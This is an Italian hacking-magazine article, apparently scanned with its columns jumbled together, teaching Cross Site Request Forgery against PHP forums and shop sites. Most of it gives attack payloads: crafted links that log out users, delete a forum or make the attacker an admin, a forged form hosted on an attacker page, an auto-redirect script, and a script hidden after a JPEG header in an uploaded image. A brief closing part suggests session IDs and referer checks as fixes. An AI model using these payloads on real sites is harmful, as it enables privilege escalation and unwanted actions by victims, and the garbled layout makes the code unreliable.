Sei sulla pagina 1di 3

sotto attacco

Ax3L
http://www.hackingstyle.it

Cross Site
Request
t
SICUREZZA
Una tecnica

Forgery
per sfruttare
le debolezze
dei siti
dinamici.

S
alve gente, sono sempre io, il Il sito in questione è un forum, quindi gli echo “<strong>”.$locale[‘global_
vostro amichevole _KING-V_ utenti possono loggarsi e sloggarsi. 194’].”</strong><br /><br />\n”;
di quartiere. Quando un utente esegue il log out, non } elseif (isset($_GET[‘error’])
L’argomento che oggi vorrei fa altro che cliccare sul bottone “logout” && $_GET[‘error’] == 2) {
sottoporre alla vostra attenzio- Questo bottone, contiene un codice, echo “<strong>”.$locale[‘global_
ne è il Cross Site Request Forgery, precisamente questo: 195’].”</strong><br /><br />\n”;
Una tecnica a cui sono vulnerabili diversi <a href=”http://www.sito.com/ } elseif (isset($_GET[‘error’])
siti web con scarso controllo delle varia- setuser.php?logout=yes”> && $_GET[‘error’] == 3) {
bili utilizzate da pagine dinamiche (come echo “<strong>”.$locale[‘global_
i siti che fanno uso di tecnologie con quando l’utente clicca sul bottone in que- 196’].”</strong><br /><br />\n”;
preprocessore di ipertesto, tipo PHP). stione non fa altro che visitare la pagina } else {
Vediamo le possibilità che una tale situa- http://www.sitovittima.com/setu- if (isset($_COOKIE[COOKIE_
zione ci mette di fronte. ser.php?logout=yes PREFIX.’user’])) {
La CSRF è come un xss, nel senso che la pagina setuser.php $cookie_vars = explode(“.”, $_
consiste nel far visitare un link alla perso- if (iMEMBER && (isset($_ COOKIE[COOKIE_PREFIX.’user’]);
na interessata. REQUEST[‘logout’]) && $_ $user_pass = preg_check(“/^[0-9-
La differenza tra le 2 tecniche consiste REQUEST[‘logout’] == “yes”)) { a-z]{32}$/”, $cookie_vars[‘1’])
nel fatto che, mentre nell’xss usavamo header(“P3P: CP=’NOI ADM DEV ? $cookie_vars[‘1’] : “”;
inserire in una variabile vulnerabile di un PSAi COM NAV OUR OTRo STP IND $user_name = preg_
sito, un codice cattivo(<script>alert....), DEM’”); replace(array(“/\=/”,”/\#/”,”/\
al fine di modificare il codice sorgente setcookie(COOKIE_PREFIX.”user”, sOR\s/”), “”, stripinput($_
della pagina per rubare i dati sensibili “”, time() - 7200, “/”, “”, GET[‘user’]));
ad una vittima; nella cross site request “0”); if (!dbcount(“(user_id)”,
forgery prenderemo “ALCUNI CODICI” setcookie(COOKIE_ DB_USERS, “user_name=’”.$user_
O LINK PARTICOLARI, CHE RISIEDONO PREFIX.”lastvisit”, “”, time() - name.”’ AND user_password=’”.
NEL SORGENTE DEL SITO STESSO che 7200, “/”, “”, “0”); md5($user_pass).”’”)) {
dovremo attaccare. $result = dbquery(“DELETE FROM echo “<strong>”.$locale[‘global_
Faremo visitare tali link, ad una vittima “.DB_ONLINE.” WHERE online_ 196’].”</strong><br /><br />\n”;
con dei particolari privilegi (admin), al fine ip=’”.USER_IP.”’”); } else {
di raggiungere il nostro scopo. echo “<strong>”.$locale[‘global_ $result = dbquery(“DELETE
Ora passiamo alla parte pratica facendo 192’].$userdata[‘user_name’].”</ FROM “.DB_ONLINE.” WHERE onli-
qualche esempio. strong><br /><br />\n”; ne_user=’0’ AND online_ip=’”.
Poniamo il caso di essere su: } else { USER_IP.”’”);
if (isset($_GET[‘error’]) && $_ echo “<strong>”.$locale[‘glo
www.sitovittima.com GET[‘error’] == 1) { bal_193’].$_GET[‘user’].”</

y Hacker Journal 7
sotto attacco

strong><br /><br />\n”; www.sitovittima.com/deleteforum. com”>


} php?delete=yes <form method=”post” action=”/
} ed il forum verrebbe eliminato. Questa insertadmin.php?insert&id=”
} situazione, ovvero l’eliminazione del name=”id”>
} forum, potrà farla solo l’admin, in quanto <input class=”button”
echo $locale[‘global_197’].”<br possiede i privilegi necessari per compie- type=”submit” value=”aggiungi
/><br />\n”; re tale operazione. admin”/>
echo “</div>\n</td>\n</tr>\n</ Ma se tale situazione volesse sfruttarla <input type=”hidden” value=””
table>\n”; un malintenzionato?! name=”id”/>
echo “</td>\n</tr>\n</ 2)poichè il sito non possiede nessuna </form>
table>\n”; protezione al riguardo, se un malinten- </body>
echo “</body>\n</html>\n”; zionato </html>
mysql_close(); trovasse la pagina www.sito- L’admin non farà altro che inserire il
ob_end_flush(); vittima.com/deleteforum. nickname dell’admin in un campo input,
non fa altro che eliminare i cookie php?deleteforum=yes il nickname verrà convertito nel numero
dell’utente al fine di sloggarlo. esso non potrebbe fare niente, non po- corrispondente all’utente scelto, per
Come possiamo notare, non c’è nessun trebbe cancellarlo, ma se la facesse visi- esempio “12”, e cliccare su “aggiungi
controllo su quel link, quindi se un tare all’admin, il risultato sarebbe positivo admin”. L’azione che avverrà quando
attacker, facesse visitare quel link ad (per il malintenzionato è ovvio ). l’admin aggiungerà un altro admin sarà:
una vittima, essa verrebbe sloggata. In In sostanza, nel primo caso, l’admin ha /?insertadmin.php?insert&id=12
sostanza è come se la vittima avesse eliminato il forum volutamente, in quanto Avete notato il numero dodici? Indica
cliccato volontariamente il bottone “log lo ha fatto cliccando un bottone conte- che è stato inserito l’utente che ha come
out” sul sito, soltanto che lo ha fatto nente il link www.sitovittima.com/ numero, anzi, come id 12. Ovvero è stato
INVOLONTARIAMENTE . deleteforum.php?deleteforum=yes il 12esimo utente a registrarsi.
Questo è soltanto un piccolo esempio Nel secondo caso, l’admin lo ha elimi- Come al solito non c’è nessun controllo
di quello che si potrebbe fare, anzi è una nato ugualmente in quanto ha visitato la sulla pagina, di conseguenza, il nostro
cosa innocua, ma potrebbe trasformarsi stessa pagina (www.sitovittima.com/ amico haxor, potrebbe naturalmente
in una cosa pericolosa, molto pericolosa. deleteforum.php?deleteforum=yes) sfruttare tale bug per diventare admin,
Vediamo alcuni esempi: con la differenza che gli è stata fornita semplicemente sfruttanto il proprio id
1) supponiamo che su www.sitovitti- dall’attacker. (255) facendo vistitare all’admin il link:
ma.com l’admin abbia a disposizione Non è finita qui! Possiamo persino diven- www.sitovittima.com/insertadmin.
l’opzione per eliminare il proprio forum tare admin nel forum! php?insert&id=255
attraverso una determinata pagina. Come? Adesso andremo a vedere, ma Facciamo ancora un altro esempio,
La pagina in questione sarà: dobbiamo prima capire un concetto dopodichè passeremo alla parte pratica,
www.sitovittima.com/deletefo- basilare. ossia i metodi e le tecniche per attaccare.
rum.php Quando ci si registra su un forum con il Poniamo il caso di essere su un sito in
Questa pagina sarà strutturata in questo proprio nickname per esempio “haxor” cui è possibile fare delle compere, ci
modo: sul quel forum l’utente sarà identificato troviamo su:
<html> con un numero, esempio “255” www.sitoacquisto.com
<head> se l’utente provasse a visitare il proprio abbiamo selezionato il prodotto da ac-
<title></title> profilo, l’url sarà: quistare, quindi ci troveremo qui:
</head> www.sitovittma.com/profile-id=255 http://www.sitovittima.com/in-
<body> quel 255, significa che l’utente “haxor” è dex.php?pa ... ts_id=3209
<form method=”POST” stato il 255esimo utente a registrarsi. Come potrete notare, il numero 3209 è
action=”http://www.sitovittima. Questo è molto importante per capire il prodotto che stiamo visualizzando, la
com/deleteforum.php”> una cosa che ora andremo a vedere. pagina in questione conterrà il seguente
<form method=”post” Supponiamo che l’adimin del sito in que- codice, esaminiamolo:
action=”delete=yes” name=”act”> stione si trovi nella pagina per aggiungere <html>
<input class=”button” altri admin: <head>
type=”submit” value=”ELIMINA www.sitovittima.com/insert-ad- <body>
FORUM”/> min.php <form method=”POST”
<input type=”hidden” la pagina sarà strutturata nel seguente action=”http://www.si-
value=”delete” name=”act”/> modo: toacquisto.com/index.
</form> <html> php?page=prodotti&products_
</body> <head> id=3209&action=add_product”
</html> <title></title> name=”cart_quantity”>
quando l’admin visiterà questa pagina, </head> <input class=”button”
cliccherà sul bottone “ELIMINA FO- <body> type=”submit” value=”Aggiungi
RUM”, cliccando su esso, <form method=”POST” Nel carrello”/>
l’azione successiva sarà: action=”http://www.sitovittima. <input type=”hidden”

8 Hacker Journal
y
value=”3209” name=”products_ 1) prendendo direttamente il link dell’ac- -PNG = &#8240;PNG
id”/> quisto: www.sitoacquisto.com/index. -GIF = GIF89a
</form> php?main_pag ... t_shipping -JPG = ÿØÿà _JFIF
</head> 2) creare sempre una pagina html ma -BMP = BMFÖ
</body> contenente: Il paper sta per concludersi, e come con-
</html> <html> cluderlo se non parlando di come fixare
<script>document.location. un sito affetto da tale bug!? Il metodo è
Cosa fa questa pagina? Ci chiederà di href=”www.sitoacquisto.com/in- quello di usare la session ID (SID). Il sid,
aggiungere nel carrello il prodotto scelto dex.php?main_page=checkout_ship- è come un cookie, un codice DINAMICO
tramite la funzione: ping”></script> che contiene delle informazioni di au-
<input class=”button” type=”submit” </html> tentificazione, diverso per ogni utente e
value=”Aggiungi Nel carrello”/> che SI INSERISCE IN OGNI LINK DELLA
non appena avremo cliccato, il link che si In questo modo, non appena la vittima PAGINA. Il sid è visualizzabile sull’url,
genererà sarà: visiterà la nostra pagina verrà immediata- potete notarlo non appena accedete su
&action=add_product” name=”cart_ mente redirectata sulla pagina interessa- un forum ben costruito:
quantity ta, essa svolgerà il dovuto compito. www.sito.com?index.php?sid=1ad4ab5f
Un altro metodo è quello di inserire il 1866f89c249555d4d82c1546&t=1263843
ovvero il prodotto verrà aggiunto al car- codice in un’ immagine,Prima di tut- 221. Questo controllo impedisce che un
rello. Di conseguenza ci ritroveremo nella to dobbiamo identificare l’estensione utente malintenzionato compia delle de-
pagina successiva dell’immagine (jpg,bmp,gif..), una volta terminate azioni. Per esempio ritornando
http://www.sitoacquisto.com/in- trovata apriamo l’immagine con un editor al caso dell’”eliminazione del forum”, se
dex.php?main_page=shopping_cart di testo qualunque (blocco Note per l’attacker esegue una CSRF sull’adimin
windows e kwrite per linux) del sito, facendogli visitare www.sitovitti-
strutturata in questo modo: Ci troveremo davanti ad un codice molto ma.com/deleteforum.php?delete=yes
<html> lungo del genere: l’azione non verrebbe eseguita poichè il
<head> ÿØÿà _JFIF ___ H H ÿá_±Ex link non contiene il sid dell’adimin.
<body> &#402;¬Hù2Çû«%é&#8212;_Ûôÿ ïÿ L’attacker dovrebbe conoscere il sid
<a href=”http://www.si- ïŸTÁê_ù dell’admin per bypassare la protezione,
toacquisto.com/index. ___šæ&#8482;__í!_3_·Ðæ&#8216;:/_ quindi dovrebbe far visitare all’admin
php?main_page=checkout_ Âê={ê&#157; il link precedente, con l’aggiunta del
shipping”>Spedisci</a> f¿ô±ì]×Eÿ _}’-&#141;eïô,:_ proprio sid
</head> [§Üking www.sitovittima.com/deleteforum.
</body> :q_&#129;Ë&#143;ôrCæ&#143;÷ãú,Ñ& php?del ... 1263843221
</html> #144;y_­ }_ÐÏ{&#402;}¶v Il metodo migliore per fixare è usare il
Ci troveremo davanti un bottone con su ÉþÐúK&#8217;·_ìyh_/SúÑwOÏclÇ{\ Controllo del referer.
scritto “Spedisci”, non appena clicche- ã&#168; &#402;÷ Il referer è uno header HTTP, impostato
remo l’azione che avverrà sarà: main_ .7+_²\_Òä2äöcÅ­ __ñVH_yïAÄ€_}þ dallo stesso browser, che indica l’indi-
page=checkout_shipping. L’importante è guardare i primi caratteri, rizzo della pagina Web da cui proviene
Ora noi abbiamo comprato il prodotto poichè ci fanno capire di che immagine il visitatore. Se questo coincide con una
3209, ma possiamo fare eseguire la si tratta, pagina interna al Sito_A, la fonte del link
stessa azione alla vittima semplicemente nel nostro caso si tratta di un jpg: può esser considerata sufficientemen-
facendole visitare il seguente link: ÿØÿà _JFIF te sicura, poiché a tutt’oggi non esiste
http://www.sitoacquisto.com/in- Ora cancelliamo tutto tranne questi pochi modo (o meglio io non lo conosco)
dex.php?main_page=checkout_ship- caratteri iniziali (che servono per ricono- per indurre un browser standard non
ping scere ed accettare questo file come .jpg) sotto il proprio controllo diretto a modi-
Ed inseriamo l’ormai famoso codice ficare il referer. Un controllo possibile è il
A questo punto eseguiamo l’attacco Javascript che abbiamo visto nel paper seguente:
Cross Site Request Forgery! sulle xss: if (isset($_SERVER[‘HTTP_REFERER’])
Bene, per fare ciò sull’ipotetico sito citato ÿØÿà _JFIF<script>document.loca- && $_SERVER[‘HTTP_REFERER’]!=””)
prima, ci basterà prendere il codice sor- tion.href=”www.sitoacquisto.com/ {
gente della pagina index.php?main_page=checkout_ if (strpos($_SERVER[‘HTTP_RE-
1) apportare una piccola modifica sulla shipping”></script> FERER’],$_SERVER[‘HTTP_
voce”SPEDISCI”, trasformandola in HOST’])===false)
“CLICCA” ora salviamo tutto in jpg (poichè l’esten- {
2) salvarla in “pagina.html” sione trattata è quella), uplodiamo l’im- // Qualcosa non quadra: uscire dal pro-
3) far visitare all’admin la pagina http:// magine sul sito interessato (se è possibi- gramma, creare file di log, etc etc.
www.sitoattacker.com/pagina.html le) e facciamola visitare alla vittima. }
4) convincerlo a cliccare. Ricordiamoci che per ogni immagine }
La cosa potrebbe essere resa più sem- c’è un codice iniziale diverso, ecco un Spero che questo paper vi sia stato
plice: esempio: d’aiuto,fatene buon uso.

y Hacker Journal 9

Potrebbero piacerti anche